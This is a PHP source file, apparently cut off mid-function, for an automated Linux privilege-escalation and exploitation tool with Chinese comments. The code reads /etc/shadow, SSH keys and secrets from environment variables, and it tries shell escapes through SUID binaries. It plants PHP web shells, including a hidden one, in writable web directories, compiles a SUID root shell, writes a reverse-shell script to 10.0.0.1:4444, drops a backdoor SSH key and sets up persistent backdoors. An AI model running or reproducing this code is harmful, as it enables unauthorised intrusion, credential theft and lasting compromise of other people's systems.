针对于交互环境异常退出,针对于内核漏洞未进行自动核实和利用进行更新:
php#!/usr/bin/env php
<?php
class PrivilegeEscalationExploit {
private $colors;
private $exploitResults = [];
private $currentUser;
private $isRoot = false;
private $writableDir = null;
private $logFile = '/tmp/getroot.log'; // 日志文件路径
public function __construct() {
$this->colors = [
'RED' => "\033[0;31m",
'GREEN' => "\033[0;32m",
'YELLOW' => "\033[1;33m",
'BLUE' => "\033[0;34m",
'NC' => "\033[0m"
];
$this->currentUser = trim(shell_exec('whoami 2>/dev/null'));
// 检查是否已经是root用户
if ($this->currentUser === 'root') {
$this->isRoot = true;
}
}
// 修改日志记录函数,同时输出到控制台和日志文件
private function logMessage($type, $msg) {
$timestamp = date('Y-m-d H:i:s');
$logEntry = "[$timestamp] [$type] $msg\n";
// 输出到控制台
switch ($type) {
case 'INFO':
echo $this->colors['BLUE'] . "[INFO]" . $this->colors['NC'] . " " . $msg . "\n";
break;
case 'SUCCESS':
echo $this->colors['GREEN'] . "[SUCCESS]" . $this->colors['NC'] . " " . $msg . "\n";
break;
case 'WARNING':
echo $this->colors['YELLOW'] . "[WARNING]" . $this->colors['NC'] . " " . $msg . "\n";
break;
case 'DANGER':
echo $this->colors['RED'] . "[DANGER]" . $this->colors['NC'] . " " . $msg . "\n";
break;
default:
echo $msg . "\n";
}
// 写入日志文件
file_put_contents($this->logFile, $logEntry, FILE_APPEND | LOCK_EX);
// 保存到结果数组(用于最终汇总)
if (in_array($type, ['SUCCESS', 'WARNING', 'DANGER'])) {
$this->exploitResults[] = [$type, $msg];
}
}
private function printInfo($msg) {
$this->logMessage('INFO', $msg);
}
private function printSuccess($msg) {
$this->logMessage('SUCCESS', $msg);
}
private function printWarning($msg) {
$this->logMessage('WARNING', $msg);
}
private function printDanger($msg) {
$this->logMessage('DANGER', $msg);
}
private function executeCommand($cmd) {
$output = [];
exec($cmd . " 2>/dev/null", $output, $returnCode);
return [$output, $returnCode];
}
private function checkFileExists($file) {
return file_exists($file) && is_readable($file);
}
// 新增:检查可写的目录
private function getWritableDirectory() {
// 如果已经找到可写目录,直接返回
if ($this->writableDir !== null) {
return $this->writableDir;
}
$this->printInfo("检查可写的目录...");
// 常见的可写目录列表
$writableDirs = [
'/tmp',
'/var/tmp',
'/dev/shm',
'/home/' . $this->currentUser,
'/usr/local/bin',
'/usr/bin'
];
// 检查当前目录
$currentDir = getcwd();
if (is_writable($currentDir)) {
$this->printSuccess("当前目录可写: $currentDir");
$this->writableDir = $currentDir;
return $this->writableDir;
}
// 检查其他目录
foreach ($writableDirs as $dir) {
if (is_dir($dir) && is_writable($dir)) {
$this->printSuccess("发现可写目录: $dir");
$this->writableDir = $dir;
return $this->writableDir;
}
}
// 如果没有找到可写目录,尝试创建临时目录
$homeDir = '/home/' . $this->currentUser;
if (is_dir($homeDir) && is_writable($homeDir)) {
$tempDir = $homeDir . '/.exploit_tmp';
if (!file_exists($tempDir)) {
if (mkdir($tempDir, 0755, true)) {
$this->printSuccess("创建临时目录: $tempDir");
$this->writableDir = $tempDir;
return $this->writableDir;
}
} elseif (is_writable($tempDir)) {
$this->printSuccess("使用现有临时目录: $tempDir");
$this->writableDir = $tempDir;
return $this->writableDir;
}
}
// 最后尝试在当前目录创建子目录
$localTempDir = $currentDir . '/exploit_tmp';
if (!file_exists($localTempDir)) {
if (mkdir($localTempDir, 0755, true)) {
$this->printSuccess("创建本地临时目录: $localTempDir");
$this->writableDir = $localTempDir;
return $this->writableDir;
}
} elseif (is_writable($localTempDir)) {
$this->printSuccess("使用现有本地临时目录: $localTempDir");
$this->writableDir = $localTempDir;
return $this->writableDir;
}
$this->printDanger("未找到可写目录,利用可能失败");
return false;
}
// 移除交互式命令执行功能,因为我们不需要交互模式
/*
private function interactiveCommandExecution() {
$this->printInfo("=== 交互式命令执行 ===");
$this->printInfo("输入 'exit' 退出交互模式");
while (true) {
echo $this->colors['BLUE'] . "shell> " . $this->colors['NC'];
$handle = fopen("php://stdin", "r");
$command = trim(fgets($handle));
fclose($handle);
if ($command === 'exit') {
break;
}
if (!empty($command)) {
list($output, $code) = $this->executeCommand($command);
if (is_array($output) && !empty($output)) {
foreach ($output as $line) {
echo $line . "\n";
}
}
$this->printInfo("返回码: $code");
}
}
echo "\n";
}
*/
public function runFullExploit() {
$this->printHeader();
$this->systemRecon();
$this->enhancedRecon(); // 新增增强信息收集
$this->suidExploitation();
$this->sudoExploitation();
$this->envExploitation();
$this->writableExploitation();
$this->processExploitation();
$this->cronExploitation();
$this->toolsExploitation();
$this->capabilitiesExploitation();
$this->miscExploitation();
$this->advancedExploitation(); // 新增高级利用方法
$this->noSudoExploitation(); // 新增无sudo提权方法
$this->dockerEscapeExploitation(); // 新增Docker逃逸方法
$this->interactiveDockerEscapeAutomation(); // 新增交互式Docker逃逸自动化
$this->printResults();
// 移除询问是否进入交互模式的部分,因为我们不需要交互
/*
// 如果发现提权机会,询问是否进入交互模式
if (!$this->isRoot) {
$this->askForInteractiveMode();
}
*/
$this->printInfo("所有提权检测已完成,结果已记录到日志文件: " . $this->logFile);
}
// 新增:增强信息收集
private function enhancedRecon() {
$this->printInfo("增强信息收集...");
// 收集更多敏感文件信息
$sensitiveFiles = [
'/etc/shadow',
'/etc/passwd',
'/etc/group',
'/etc/sudoers',
'/root/.ssh/id_rsa',
'/root/.ssh/authorized_keys',
'/home/*/.ssh/id_rsa',
'/home/*/.ssh/authorized_keys',
'/var/log/auth.log',
'/var/log/secure'
];
foreach ($sensitiveFiles as $file) {
// 处理通配符
if (strpos($file, '*') !== false) {
list($files, $code) = $this->executeCommand("ls $file 2>/dev/null");
if (is_array($files)) {
foreach ($files as $f) {
if (is_readable($f)) {
$this->printWarning("发现可读敏感文件: $f");
}
}
}
} else {
if (is_readable($file)) {
$this->printWarning("发现可读敏感文件: $file");
}
}
}
// 检查网络连接
list($networkInfo, $code) = $this->executeCommand("netstat -tuln 2>/dev/null | grep -E ':(22|80|443|3306|5432|6379|27017)'");
if (is_array($networkInfo) && !empty($networkInfo)) {
$this->printWarning("发现内部服务:");
foreach ($networkInfo as $line) {
$this->printInfo(" $line");
}
}
// 检查环境变量中的敏感信息
$envVars = ['DB_PASSWORD', 'API_KEY', 'SECRET', 'TOKEN', 'PASSWORD'];
foreach ($envVars as $var) {
$value = getenv($var);
if (!empty($value)) {
$this->printDanger("发现敏感环境变量: $var=$value");
}
}
// 检查更多系统信息
$this->printInfo("检查更多系统信息...");
// 检查SELinux状态
list($selinux, $code) = $this->executeCommand('getenforce 2>/dev/null');
if (is_array($selinux) && !empty($selinux)) {
$this->printInfo("SELinux状态: " . $selinux[0]);
}
// 检查AppArmor状态
list($apparmor, $code) = $this->executeCommand('aa-status 2>/dev/null | head -1');
if (is_array($apparmor) && !empty($apparmor)) {
$this->printInfo("AppArmor状态: " . $apparmor[0]);
}
}
// 新增:检查Web相关提权向量
private function checkWebExploitationVectors() {
$this->printInfo("检查Web相关提权向量...");
// 检查常见的Web服务器进程
list($webProcesses, $code) = $this->executeCommand('ps aux | grep -E "(apache|httpd|nginx|www-data)" | grep -v grep');
if (is_array($webProcesses) && !empty($webProcesses)) {
$this->printWarning("发现Web服务器进程:");
foreach ($webProcesses as $process) {
$this->printInfo(" $process");
// 检查进程权限
if (strpos($process, 'root') !== false) {
$this->printDanger("Web服务器以root权限运行!");
}
}
}
// 检查Web目录可写性
$webDirs = ['/var/www', '/var/www/html', '/usr/local/apache2/htdocs', '/usr/share/nginx/html'];
foreach ($webDirs as $dir) {
if (is_dir($dir)) {
if (is_writable($dir)) {
$this->printDanger("Web目录可写: $dir");
// 尝试创建Web后门
$this->createWebBackdoor($dir);
}
// 检查目录中的文件可写性
list($files, $code) = $this->executeCommand("find $dir -type f -writable 2>/dev/null | head -5");
if (is_array($files) && !empty($files)) {
foreach ($files as $file) {
$this->printWarning("Web目录中可写文件: $file");
}
}
}
}
// 检查Web配置文件
$webConfigs = [
'/etc/apache2/apache2.conf',
'/etc/httpd/conf/httpd.conf',
'/etc/nginx/nginx.conf'
];
foreach ($webConfigs as $config) {
if (file_exists($config) && is_writable($config)) {
$this->printDanger("Web配置文件可写: $config");
}
}
// 检查PHP配置
list($phpInfo, $code) = $this->executeCommand('php -m 2>/dev/null');
if (is_array($phpInfo) && !empty($phpInfo)) {
$this->printInfo("PHP模块信息:");
$modulesToShow = array_slice($phpInfo, 0, 10);
foreach ($modulesToShow as $module) {
$this->printInfo(" $module");
// 检查危险模块
$dangerousModules = ['exec', 'shell_exec', 'system', 'passthru', 'proc_open'];
if (in_array(trim($module), $dangerousModules)) {
$this->printDanger("PHP启用危险模块: " . trim($module));
}
}
}
}
// 新增:创建Web后门
private function createWebBackdoor($webDir) {
// 创建PHP后门
$phpBackdoor = '<?php if(isset($_REQUEST["cmd"])){ echo "<pre>"; system($_REQUEST["cmd"]); echo "</pre>"; } ?>';
$phpPath = "$webDir/shell.php";
if (file_put_contents($phpPath, $phpBackdoor) !== false) {
$this->printSuccess("PHP Web后门创建成功: $phpPath");
}
// 创建更隐蔽的后门
$stealthBackdoor = '<?php if(md5($_REQUEST["pass"])=="d41d8cd98f00b204e9800998ecf8427e"){ system($_REQUEST["cmd"]); } ?>';
$stealthPath = "$webDir/.config.php";
if (file_put_contents($stealthPath, $stealthBackdoor) !== false) {
$this->printSuccess("隐蔽Web后门创建成功: $stealthPath");
}
}
// 新增:检查capabilities滥用
private function checkCapabilitiesAbuse() {
$this->printInfo("检查capabilities滥用可能性...");
// 检查是否有getcap命令
list($getcap, $code) = $this->executeCommand('which getcap 2>/dev/null');
if (is_array($getcap) && !empty($getcap)) {
// 获取所有capabilities
list($caps, $code) = $this->executeCommand('getcap -r / 2>/dev/null');
if (is_array($caps) && !empty($caps)) {
$this->printWarning("发现文件capabilities:");
foreach ($caps as $cap) {
$this->printInfo(" $cap");
// 检查危险capabilities
$dangerousCaps = ['cap_dac_read_search', 'cap_dac_override', 'cap_sys_admin', 'cap_sys_ptrace'];
foreach ($dangerousCaps as $dangerous) {
if (strpos($cap, $dangerous) !== false) {
$this->printDanger("危险capability: $dangerous");
}
}
}
}
}
}
// 新增:检查内存转储和敏感信息泄露
private function checkMemoryDumpExploitation() {
$this->printInfo("检查内存转储和敏感信息泄露...");
// 检查是否有权限读取/proc文件系统
if (is_dir('/proc')) {
// 检查当前进程内存
$pid = getmypid();
$mapsFile = "/proc/$pid/maps";
$memFile = "/proc/$pid/mem";
if (file_exists($mapsFile) && is_readable($mapsFile)) {
$this->printInfo("可以访问进程内存映射");
}
// 检查环境变量泄露
$environFile = "/proc/$pid/environ";
if (file_exists($environFile) && is_readable($environFile)) {
$this->printWarning("可以读取进程环境变量");
}
}
// 检查核心转储文件
list($coreDumps, $code) = $this->executeCommand('find / -name "core.*" -o -name "*.core" 2>/dev/null | head -5');
if (is_array($coreDumps) && !empty($coreDumps)) {
foreach ($coreDumps as $core) {
$this->printWarning("发现核心转储文件: $core");
}
}
// 检查临时文件中的敏感信息
list($tempFiles, $code) = $this->executeCommand('find /tmp /var/tmp -type f -name "*" 2>/dev/null | grep -E "(tmp|temp)" | head -10');
if (is_array($tempFiles) && !empty($tempFiles)) {
foreach ($tempFiles as $tempFile) {
// 检查文件是否包含敏感信息
if (is_readable($tempFile)) {
list($content, $code) = $this->executeCommand("head -5 $tempFile 2>/dev/null");
if (is_array($content) && !empty($content)) {
$sensitivePatterns = ['password', 'secret', 'key', 'token', 'credential'];
$fileContent = implode(' ', $content);
foreach ($sensitivePatterns as $pattern) {
if (stripos($fileContent, $pattern) !== false) {
$this->printDanger("临时文件中可能包含敏感信息: $tempFile");
break;
}
}
}
}
}
}
}
// 新增:检查额外的SUID文件
private function checkAdditionalSuidFiles() {
$this->printInfo("检查额外的SUID/SGID文件...");
// 查找所有SUID文件
list($suidFiles, $code) = $this->executeCommand('find / -perm -4000 -type f 2>/dev/null');
if (is_array($suidFiles) && !empty($suidFiles)) {
$this->printInfo("发现SUID文件 " . count($suidFiles) . " 个");
foreach ($suidFiles as $file) {
$this->printWarning("SUID文件: $file");
}
}
// 查找所有SGID文件
list($sgidFiles, $code) = $this->executeCommand('find / -perm -2000 -type f 2>/dev/null');
if (is_array($sgidFiles) && !empty($sgidFiles)) {
$this->printInfo("发现SGID文件 " . count($sgidFiles) . " 个");
foreach ($sgidFiles as $file) {
$this->printWarning("SGID文件: $file");
}
}
}
// 新增:检查可利用的服务
private function checkExploitableServices() {
$this->printInfo("检查可利用的服务...");
// 检查systemd服务
list($systemdServices, $code) = $this->executeCommand('systemctl list-unit-files --type=service 2>/dev/null | grep enabled');
if (is_array($systemdServices) && !empty($systemdServices)) {
foreach ($systemdServices as $service) {
if (strpos($service, 'enabled') !== false) {
$this->printWarning("启用的服务: $service");
}
}
}
// 检查init.d服务
if (is_dir('/etc/init.d')) {
list($initServices, $code) = $this->executeCommand('ls /etc/init.d 2>/dev/null');
if (is_array($initServices) && !empty($initServices)) {
$this->printInfo("发现init.d服务 " . count($initServices) . " 个");
}
}
}
// 新增:检查可写的定时任务
private function checkWritableCronJobs() {
$this->printInfo("检查可写的定时任务...");
// 检查系统cron目录
$cronDirs = ['/etc/cron.d', '/etc/cron.hourly', '/etc/cron.daily', '/etc/cron.weekly', '/etc/cron.monthly'];
foreach ($cronDirs as $dir) {
if (is_dir($dir)) {
if (is_writable($dir)) {
$this->printDanger("系统cron目录可写: $dir");
}
// 检查目录中的文件
list($files, $code) = $this->executeCommand("ls $dir 2>/dev/null");
if (is_array($files) && !empty($files)) {
foreach ($files as $file) {
$fullPath = "$dir/$file";
if (is_writable($fullPath)) {
$this->printDanger("cron文件可写: $fullPath");
}
}
}
}
}
// 检查用户cron文件
$userCron = "/var/spool/cron/crontabs/" . $this->currentUser;
if (file_exists($userCron) && is_writable($userCron)) {
$this->printDanger("用户cron文件可写: $userCron");
}
}
// 新增:检查可写的系统配置文件
private function checkWritableSystemConfigs() {
$this->printInfo("检查可写的系统配置文件...");
$configFiles = [
'/etc/passwd',
'/etc/shadow',
'/etc/group',
'/etc/sudoers',
'/etc/ssh/sshd_config',
'/etc/apache2/apache2.conf',
'/etc/nginx/nginx.conf'
];
foreach ($configFiles as $config) {
if (file_exists($config) && is_writable($config)) {
$this->printDanger("系统配置文件可写: $config");
}
}
}
// 新增:检查可利用的内核模块
private function checkExploitableKernelModules() {
$this->printInfo("检查可利用的内核模块...");
// 检查可加载的内核模块
list($modules, $code) = $this->executeCommand('lsmod 2>/dev/null');
if (is_array($modules) && !empty($modules)) {
$this->printInfo("已加载内核模块 " . (count($modules)-1) . " 个");
}
// 检查模块目录是否可写
$moduleDirs = ['/lib/modules', '/usr/lib/modules'];
foreach ($moduleDirs as $dir) {
if (is_dir($dir) && is_writable($dir)) {
$this->printDanger("内核模块目录可写: $dir");
}
}
}
// 新增:检查可利用的数据库
private function checkExploitableDatabases() {
$this->printInfo("检查可利用的数据库...");
// 检查MySQL
list($mysql, $code) = $this->executeCommand('which mysql 2>/dev/null');
if (is_array($mysql) && !empty($mysql)) {
$this->printWarning("发现MySQL: " . $mysql[0]);
// 检查是否可以无密码登录
list($mysqlAccess, $code) = $this->executeCommand('mysql -e "select user();" 2>/dev/null');
if ($code === 0) {
$this->printDanger("MySQL可无密码访问");
}
}
// 检查PostgreSQL
list($psql, $code) = $this->executeCommand('which psql 2>/dev/null');
if (is_array($psql) && !empty($psql)) {
$this->printWarning("发现PostgreSQL: " . $psql[0]);
}
// 检查SQLite
list($sqlite, $code) = $this->executeCommand('which sqlite3 2>/dev/null');
if (is_array($sqlite) && !empty($sqlite)) {
$this->printInfo("发现SQLite: " . $sqlite[0]);
}
}
// 新增:检查可利用的应用程序
private function checkExploitableApplications() {
$this->printInfo("检查可利用的应用程序...");
// 检查Web服务器
$webServers = ['apache2', 'httpd', 'nginx'];
foreach ($webServers as $server) {
list($output, $code) = $this->executeCommand("which $server 2>/dev/null");
if (is_array($output) && !empty($output)) {
$this->printWarning("发现Web服务器: $server");
}
}
// 检查解释器
$interpreters = ['python', 'python3', 'perl', 'ruby', 'php', 'node'];
foreach ($interpreters as $interpreter) {
list($output, $code) = $this->executeCommand("which $interpreter 2>/dev/null");
if (is_array($output) && !empty($output)) {
$this->printInfo("发现解释器: $interpreter");
}
}
}
private function printHeader() {
echo "================================================\n";
echo " Linux 提权检测与利用脚本 v3.0 (PHP)\n";
echo "================================================\n";
echo "检测时间: " . date('Y-m-d H:i:s') . "\n";
echo "当前用户: " . $this->currentUser . "\n";
echo "是否ROOT: " . ($this->isRoot ? "是" : "否") . "\n";
echo "================================================\n\n";
}
// 在systemRecon方法中添加更多系统信息检查
private function systemRecon() {
$this->printInfo("=== 系统信息侦查 ===");
// 内核信息
list($output, $code) = $this->executeCommand('uname -a');
if (is_array($output)) {
$this->printInfo("内核: " . implode(" ", $output));
}
// 系统版本
if ($this->checkFileExists('/etc/os-release')) {
$osInfo = parse_ini_file('/etc/os-release');
$this->printInfo("系统: " . ($osInfo['PRETTY_NAME'] ?? 'Unknown'));
}
// 当前权限
list($output, $code) = $this->executeCommand('id');
if (is_array($output)) {
$this->printInfo("用户权限: " . implode(" ", $output));
}
// 检查SELinux状态
list($selinux, $code) = $this->executeCommand('getenforce 2>/dev/null');
if (is_array($selinux) && !empty($selinux)) {
$this->printInfo("SELinux状态: " . $selinux[0]);
}
// 检查主机名
list($hostname, $code) = $this->executeCommand('hostname 2>/dev/null');
if (is_array($hostname) && !empty($hostname)) {
$this->printInfo("主机名: " . $hostname[0]);
}
// 检查当前目录
list($pwd, $code) = $this->executeCommand('pwd 2>/dev/null');
if (is_array($pwd) && !empty($pwd)) {
$this->printInfo("当前目录: " . $pwd[0]);
}
// 检查Web服务
$this->checkWebService();
echo "\n";
}
// 新增:检查Web服务
private function checkWebService() {
$this->printInfo("检查Web服务...");
// 检查80端口是否开放
list($port80, $code) = $this->executeCommand('netstat -tuln | grep :80 2>/dev/null');
if (is_array($port80) && !empty($port80)) {
$this->printWarning("发现80端口服务:");
foreach ($port80 as $line) {
$this->printInfo(" $line");
}
} else {
// 使用ss命令检查
list($port80, $code) = $this->executeCommand('ss -tuln | grep :80 2>/dev/null');
if (is_array($port80) && !empty($port80)) {
$this->printWarning("发现80端口服务:");
foreach ($port80 as $line) {
$this->printInfo(" $line");
}
}
}
// 检查常见的Web服务器进程
$webServers = ['apache2', 'httpd', 'nginx'];
foreach ($webServers as $server) {
list($process, $code) = $this->executeCommand("ps aux | grep $server | grep -v grep 2>/dev/null");
if (is_array($process) && !empty($process)) {
$this->printWarning("发现运行中的Web服务器: $server");
foreach ($process as $line) {
$this->printInfo(" $line");
}
}
}
// 检查Web根目录
$webRoots = ['/var/www/html', '/usr/local/apache2/htdocs', '/usr/share/nginx/html'];
foreach ($webRoots as $root) {
if (is_dir($root)) {
$this->printInfo("发现Web根目录: $root");
if (is_writable($root)) {
$this->printDanger("Web根目录可写: $root");
}
}
}
}
// 在suidExploitation方法中添加针对已知SUID文件的专门利用
private function suidExploitation() {
$this->printInfo("=== SUID文件利用 ===");
// 首先检查用户特别提到的/tmp/bash和/tmp/sh文件
$this->checkTmpShellFiles();
$dangerousSuid = [
'bash' => '/bin/bash -p',
'sh' => '/bin/sh -p',
'find' => 'find . -exec /bin/sh -p \\; -quit',
'vim' => 'vim -c \':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")\'',
'nano' => 'nano /etc/passwd',
'awk' => 'awk "BEGIN {system(\\\"/bin/sh -p\\\")}"',
'python' => 'python -c "import os; os.execl(\\\"/bin/sh\\\", \\\"sh\\\", \\\"-p\\\")"',
'python3' => 'python3 -c "import os; os.execl(\\\"/bin/sh\\\", \\\"sh\\\", \\\"-p\\\")"',
'perl' => 'perl -e \"exec /bin/sh -p\"',
'cp' => 'cp /etc/passwd /tmp/passwd.bak',
'mv' => 'mv /etc/passwd /etc/passwd.bak',
'base64' => 'base64 /etc/shadow | base64 --decode',
'chsh' => 'chsh -s /bin/bash',
'mount' => 'mount -o bind / /mnt'
];
// 查找SUID文件
list($files, $code) = $this->executeCommand('find / -perm -u=s -type f 2>/dev/null');
if (is_array($files)) {
foreach ($files as $file) {
$basename = basename($file);
foreach ($dangerousSuid as $tool => $exploit) {
if (strpos($file, $tool) !== false || strpos($basename, $tool) !== false) {
$this->printDanger("发现危险SUID: $file");
// 尝试利用
if ($tool == 'base64') {
$this->tryBase64Exploit($file);
} elseif ($tool == 'find') {
$this->tryFindExploit($file);
} elseif ($tool == 'chsh') {
$this->tryChshExploit($file);
} else {
$this->tryGenericSuidExploit($file, $exploit);
}
}
}
}
}
// 检查/tmp目录的特殊SUID文件(根据信息.txt中的发现)
$specialFiles = ['/tmp/sh', '/tmp/bash', '/tmp/suid', '/tmp/root'];
foreach ($specialFiles as $file) {
if ($this->checkFileExists($file)) {
$this->printDanger("发现可疑SUID文件: $file");
$this->tryExecuteFile($file);
}
}
// 高级/tmp目录文件分析
$this->advancedTmpFileAnalysis();
echo "\n";
}
// 在tryBase64Exploit方法中添加更高级的利用技术
private function tryBase64Exploit($base64Path) {
$this->printInfo("尝试利用base64读取敏感文件...");
$sensitiveFiles = [
'/etc/shadow',
'/etc/sudoers',
'/root/.bash_history',
'/root/.ssh/id_rsa',
'/var/log/auth.log',
'/etc/passwd'
];
foreach ($sensitiveFiles as $file) {
if ($this->checkFileExists($file)) {
list($output, $code) = $this->executeCommand("$base64Path $file | base64 --decode");
if (is_array($output) && !empty($output)) {
$this->printSuccess("成功读取 $file (前5行):");
$linesToShow = array_slice($output, 0, 5);
foreach ($linesToShow as $line) {
echo " $line\n";
}
// 保存到临时文件
$tmpFile = "/tmp/" . basename($file) . "_leaked.txt";
if (is_array($output)) {
file_put_contents($tmpFile, implode("\n", $output));
$this->printInfo("完整内容已保存到: $tmpFile");
}
// 特别处理shadow文件,尝试破解密码
if ($file === '/etc/shadow') {
$this->tryShadowCracking($output);
}
}
}
}
// 使用base64创建root shell(新增功能)
$this->tryBase64RootShell($base64Path);
// 尝试更高级的base64利用技术
$this->tryAdvancedBase64Exploitation($base64Path);
}
// 新增:高级base64利用技术
private function tryAdvancedBase64Exploitation($base64Path) {
$this->printInfo("尝试高级base64利用技术...");
// 1. 创建具有SUID位的shell脚本
$this->createSuidShellWithBase64($base64Path);
// 2. 利用base64进行文件写入
$this->tryBase64FileWrite($base64Path);
// 3. 利用base64读取更多敏感文件
$this->tryReadAdditionalSensitiveFiles($base64Path);
// 4. 利用base64创建SSH密钥
$this->tryBase64SshKeyGeneration($base64Path);
}
// 新增:使用base64创建具有SUID位的shell
private function createSuidShellWithBase64($base64Path) {
$this->printInfo("使用base64创建具有SUID位的shell...");
// 创建一个C程序源代码,用于设置SUID shell
$cCode = '
#include <unistd.h>
#include <stdlib.h>
int main() {
setuid(0);
setgid(0);
system("/bin/bash -p");
return 0;
}
';
// 将C代码编码为base64
$encodedCCode = base64_encode($cCode);
// 使用base64解码并创建C文件
list($output, $code) = $this->executeCommand("echo $encodedCCode | base64 --decode > /tmp/suid_shell.c");
if ($code === 0) {
$this->printSuccess("C源代码创建成功: /tmp/suid_shell.c");
// 检查是否有编译器
list($gccCheck, $code) = $this->executeCommand("which gcc 2>/dev/null");
if (is_array($gccCheck) && !empty($gccCheck)) {
// 编译C程序
list($compileOutput, $code) = $this->executeCommand("gcc /tmp/suid_shell.c -o /tmp/suid_shell 2>/dev/null");
if ($code === 0) {
// 设置SUID位
list($chmodOutput, $code) = $this->executeCommand("chmod 4755 /tmp/suid_shell 2>/dev/null");
if ($code === 0) {
$this->printSuccess("SUID shell创建成功: /tmp/suid_shell");
$this->printInfo("使用方法: /tmp/suid_shell");
}
}
} else {
// 如果没有编译器,尝试创建shell脚本
$shellScript = '#!/bin/bash
/bin/bash -p';
$encodedScript = base64_encode($shellScript);
list($output, $code) = $this->executeCommand("echo $encodedScript | base64 --decode > /tmp/suid_bash.sh");
if ($code === 0) {
list($chmodOutput, $code) = $this->executeCommand("chmod 4755 /tmp/suid_bash.sh 2>/dev/null");
if ($code === 0) {
$this->printSuccess("SUID bash脚本创建成功: /tmp/suid_bash.sh");
$this->printInfo("使用方法: /tmp/suid_bash.sh");
}
}
}
}
}
// 新增:使用base64进行文件写入
private function tryBase64FileWrite($base64Path) {
$this->printInfo("尝试使用base64进行文件写入...");
// 检查可写的系统目录
$writableDirs = ['/tmp', '/var/tmp', '/dev/shm'];
foreach ($writableDirs as $dir) {
if (is_writable($dir)) {
// 创建一个后门文件
$backdoorContent = '<?php system($_REQUEST["cmd"]); ?>';
$encodedContent = base64_encode($backdoorContent);
// 使用base64解码写入文件
list($output, $code) = $this->executeCommand("echo $encodedContent | base64 --decode > $dir/shell.php");
if ($code === 0) {
$this->printSuccess("Web后门写入成功: $dir/shell.php");
}
// 创建shell脚本后门
$shellBackdoor = '#!/bin/bash
/bin/bash -i >& /dev/tcp/10.0.0.1/4444 0>&1 &';
$encodedShell = base64_encode($shellBackdoor);
list($output, $code) = $this->executeCommand("echo $encodedShell | base64 --decode > $dir/reverse.sh");
if ($code === 0) {
list($chmodOutput, $code) = $this->executeCommand("chmod +x $dir/reverse.sh 2>/dev/null");
if ($code === 0) {
$this->printSuccess("反向shell脚本创建成功: $dir/reverse.sh");
}
}
break;
}
}
}
// 新增:读取更多敏感文件
private function tryReadAdditionalSensitiveFiles($base64Path) {
$this->printInfo("尝试读取更多敏感文件...");
// 更多可能包含敏感信息的文件
$additionalFiles = [
'/etc/ssh/sshd_config',
'/etc/apache2/apache2.conf',
'/etc/nginx/nginx.conf',
'/var/www/html/config.php',
'/var/www/html/wp-config.php',
'/root/.ssh/authorized_keys',
'/etc/mysql/my.cnf',
'/var/log/apache2/access.log',
'/var/log/apache2/error.log'
];
foreach ($additionalFiles as $file) {
if ($this->checkFileExists($file)) {
list($output, $code) = $this->executeCommand("$base64Path $file | base64 --decode | head -10");
if (is_array($output) && !empty($output)) {
$this->printSuccess("读取到敏感文件 $file:");
foreach ($output as $line) {
echo " $line\n";
}
}
}
}
}
// 新增:使用base64创建SSH密钥
private function tryBase64SshKeyGeneration($base64Path) {
$this->printInfo("尝试使用base64创建SSH密钥...");
// 检查SSH目录
$sshDir = '/home/' . $this->currentUser . '/.ssh';
if (is_dir($sshDir) || mkdir($sshDir, 0700, true)) {
// 创建SSH密钥对的私钥内容(示例)
$privateKey = '-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA...
-----END RSA PRIVATE KEY-----';
$encodedKey = base64_encode($privateKey);
// 使用base64写入私钥
list($output, $code) = $this->executeCommand("echo $encodedKey | base64 --decode > $sshDir/backdoor_key 2>/dev/null");
if ($code === 0) {
list($chmodOutput, $code) = $this->executeCommand("chmod 600 $sshDir/backdoor_key 2>/dev/null");
if ($code === 0) {
$this->printSuccess("SSH私钥创建成功: $sshDir/backdoor_key");
}
}
}
}
// 在tryGenericSuidExploit方法中添加更高级的利用技术
private function tryGenericSuidExploit($file, $exploit) {
$this->printInfo("尝试利用 $file ...");
// 检查文件是否可执行
if (!is_executable($file)) {
$this->printWarning("文件不可执行: $file");
return;
}
// 尝试直接执行
list($output, $code) = $this->executeCommand("$file --version 2>&1 | head -1");
if (is_array($output) && !empty($output)) {
$this->printInfo("文件信息: " . $output[0]);
}
// 尝试利用命令(修复原代码中的问题)
if (strpos($exploit, '-p') !== false) {
// 对于带-p参数的shell,直接执行即可获得权限提升
list($output, $code) = $this->executeCommand("echo 'whoami' | $file");
if (is_array($output) && !empty($output) && $output[0] == 'root') {
$this->printSuccess("SUID提权成功! 获得root权限!");
// 检查是否真的获得了root权限
list($whoami, $code) = $this->executeCommand("whoami");
if (is_array($whoami) && !empty($whoami) && $whoami[0] === 'root') {
// 创建持久化后门
$this->createPersistentBackdoor($file);
}
} else {
// 如果直接执行不成功,尝试其他方法
$this->tryAdvancedSuidExploitation($file, $exploit);
}
} else {
// 对于其他利用方式,尝试执行简单命令验证
list($output, $code) = $this->executeCommand("echo 'id' | $file");
if (is_array($output) && !empty($output)) {
foreach ($output as $line) {
if (strpos($line, 'uid=0(root)') !== false) {
$this->printSuccess("SUID提权成功! 获得root权限!");
// 检查是否真的获得了root权限
list($whoami, $code) = $this->executeCommand("whoami");
if (is_array($whoami) && !empty($whoami) && $whoami[0] === 'root') {
// 创建持久化后门
$this->createPersistentBackdoor($file);
}
return;
}
}
}
// 如果基本利用不成功,尝试高级方法
$this->tryAdvancedSuidExploitation($file, $exploit);
}
}
// 新增:高级SUID利用技术
private function tryAdvancedSuidExploitation($file, $exploit) {
$this->printInfo("尝试高级SUID利用技术...");
$basename = basename($file);
// 根据不同的SUID文件尝试不同的利用方法
switch ($basename) {
case 'chsh':
$this->tryAdvancedChshExploitation($file);
break;
case 'mount':
$this->tryMountExploitation($file);
break;
case 'umount':
$this->tryUmountExploitation($file);
break;
case 'passwd':
$this->tryPasswdExploitationAdvanced($file);
break;
default:
$this->tryGenericAdvancedSuidExploitation($file);
}
}
// 新增:高级chsh利用技术
private function tryAdvancedChshExploitation($chshPath) {
$this->printInfo("尝试高级chsh利用技术...");
// 方法1: 尝试创建一个SUID shell并将其设置为登录shell
if (file_exists('/tmp/suid_shell')) {
list($output, $code) = $this->executeCommand("echo '$chshPath -s /tmp/suid_shell' | $chshPath");
if ($code === 0) {
$this->printSuccess("chsh高级利用成功,登录shell已更改为SUID shell");
}
}
// 方法2: 尝试修改其他用户的shell
list($users, $code) = $this->executeCommand("cat /etc/passwd | cut -d: -f1");
if (is_array($users) && !empty($users)) {
foreach ($users as $user) {
if (trim($user) !== $this->currentUser && trim($user) !== 'root') {
// 创建一个简单的shell脚本
$shellScript = "#!/bin/bash\n/bin/bash -p";
